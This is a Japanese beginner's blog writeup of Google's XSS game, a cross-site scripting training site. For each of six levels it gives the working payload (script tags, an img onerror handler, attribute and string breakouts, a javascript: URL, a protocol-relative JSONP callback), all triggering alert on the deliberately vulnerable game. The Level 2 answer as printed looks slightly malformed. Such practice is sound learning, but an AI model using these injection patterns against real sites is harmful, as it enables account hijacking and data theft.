XSS game(google製) writeup
どうもこんにちは。グレープ粗茶 です。 ctfやweb系に関心を持っています。 今回は、CTFweb問の一つのxssをやりました。
※記事に間違いがありましたら、コメントでのご指摘お願いします。
writeup
上記のサイトでXSSの問題を解くことができる。 この記事では、xss初心者の記録用として残してみる。また、今回はかなりヒントを利用しています(´;ω;`)
このサイトでは、javascriptの一つのアラートを動作させることが課題となっている。
Level 1:Hello, world of XSS
まずhint2において<h1>?とある。 ここでh1タグを利用して、文字を入力するとタグが適用されている事が分かる。
そこで<script>を利用して、そのままalert("a")を入力すれば正解となる。 正解は
<script>alert("aa")</script>
Level2: Persistence is key
hint3を見るとonerrorという単語がある。 これは、imgタグでのエラー処理に使われる属性であった。また、ここにjavascriptを適用することができるらしい。
onerror="alert('a');"と埋めれば正解になった。またエラー処理をさせる必要があるためsrc属性も必要であると思う。 正解は
<img src=" " onerror="script="alert('a');">
Level3:That sinking feeling...
今回の問題では、ソースコードを参考にする必要があった。 主に重要となるのは下記の部分であった。
var html = "Image " + parseInt(num) + "<br>"; html += "<img src='/static/level3/cloud" + num + ".jpg' />"; $('#tabContent').html(html);
表示したい画像の番号がnumに入り、その画像を動的に表示を切り替えるという物であった。 このhtmlという変数の中に、<script>タグを代入することでalertできると仮定して実行したら正解となった。
https://xss-game.appspot.com/level3/frame#3.jpg'/><script> alert('XSS') </script> [:contents]
Level 4: Context matters
こちらの問題も上記と同じように文字列で押し出すようにするとよい。
onload="startTimer('{{ timer }}');"
上記の部分でjavascriptを使え、またtimerが直接代入されている。 まず、onloadの再集計を考える。
onload="startTimer('3');alert('3');"
とすればよい。 これより入力部分には、
3');alert('3
とすれば正解であった。
Level 5: Breaking protocol
今回の問題では、hrefの中身にjavascriptを記述することができる事を知る必要があった。 その際に以下のサイトを参考にした。 hrefの中にjavascript:関数 とすれば実行できるという。
<a href="javascript:(ここにスクリプトを記述)">クリック</a>
http://www.shurey.com/js/samples/0_bsc2.html
よって正解は、
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('s')
Level 6: Follow the
正直問題の意図も何もわからなかった。 ヒントを参考にするとgoogle.com/jaspi?callback=fooとある。
これを調べるとGoogle Libraries APIというgoogleが提供しているjavascriptライブラリであることが分かった。 また、callbackの後にalertと入れれば実行できるらしい。 しかしながら、下記のようにしても実行できない。
https://xss-game.appspot.com/level6/frame#https://google.com/jsapi?callback=alert
これはurlにhttpが含まれると条件分岐に入ってしまい、終了させられるところに原因がある。
if (url.match(/^https?:\/\//)) { setInnerText(document.getElementById("log"), "Sorry, cannot load a URL containing \"http\"."); return; }
これより最終的にはhttpを省略して下記のようにすれば正解となった。
https://xss-game.appspot.com/level6/frame#//www.google.com/jsapi?callback=alert